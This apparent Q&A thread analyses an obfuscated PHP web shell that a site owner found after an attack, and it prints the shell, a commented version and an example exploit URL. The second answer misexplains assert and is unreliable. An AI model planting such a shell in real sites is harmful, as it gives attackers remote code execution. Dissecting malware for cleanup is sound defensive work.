Q:

What does this suspicious PHP code do?

I'm cleaning up a website after an attack which resulted in many PHP shells being uploaded. I've found and removed the following code:
if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }

Could you tell me what it does? How does ${'a'} lead to code execution? Is the injected code sent by POST request?

A:

It's an obfuscated web shell that allows remote code execution.
The script feeds $_REQUEST['e'] into the assert() function. That evaluates the e request parameter as PHP. Use it like this:
http://example.com/shell.php?e=phpinfo()

assert() is a debugging feature to evaluate assertions. But if you feed it an arbitrary string it will be executed as a PHP expression. It's a fancy way of avoiding eval() to prevent malware detection.
Here is the snippet reformatted and commented:

<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
    // Complicate static analysis by assembling "assert" from multiple strings
    $b = "ass"."ert";
    // Evaluate assertion (yes, in PHP you can "call" a string as function name)
    $a = $b($_REQUEST['e']);
    // Junk. The assertion has already run, this doesn't do anything
    ${'a'};
}
?>

How does ${'a'} lead to code execution? 

It doesn't. $b($_REQUEST['e']) is where the assertion runs. The code works without ${'a'}.

Is the injected code sent by POST request?

$_REQUEST allows the parameter to be sent via both GET and POST.

A:

Let's break it down.
$b="ass"."ert"

This will create a variable 'b' with 'ass' concatenated with 'ert' to form 'assert'.
$a=$b($_REQUEST['e']);

Since b = 'assert' this will evaluate to assert() passing in whatever is 'e' in the request.  Assert is a function that will check to see if the what is passed in is false (http://php.net/manual/en/function.assert.php).
${'a'} 

This actually does nothing.  It is the same as $a.
If the hacker passes in a something as 'e' in the request by requesting the page yourdomain.com/thephpfile.php?e=1%3D2 the browser will convert %3D to the '=' sign and e will be '1=2'.
Let's put it together.
${'assert(1=2)'}
This will return 1 because it is asserting that the result is false.
This can be used to check variables in your php page by checking to see if a variable equals what they pass in.
Let me know if you need clarification.

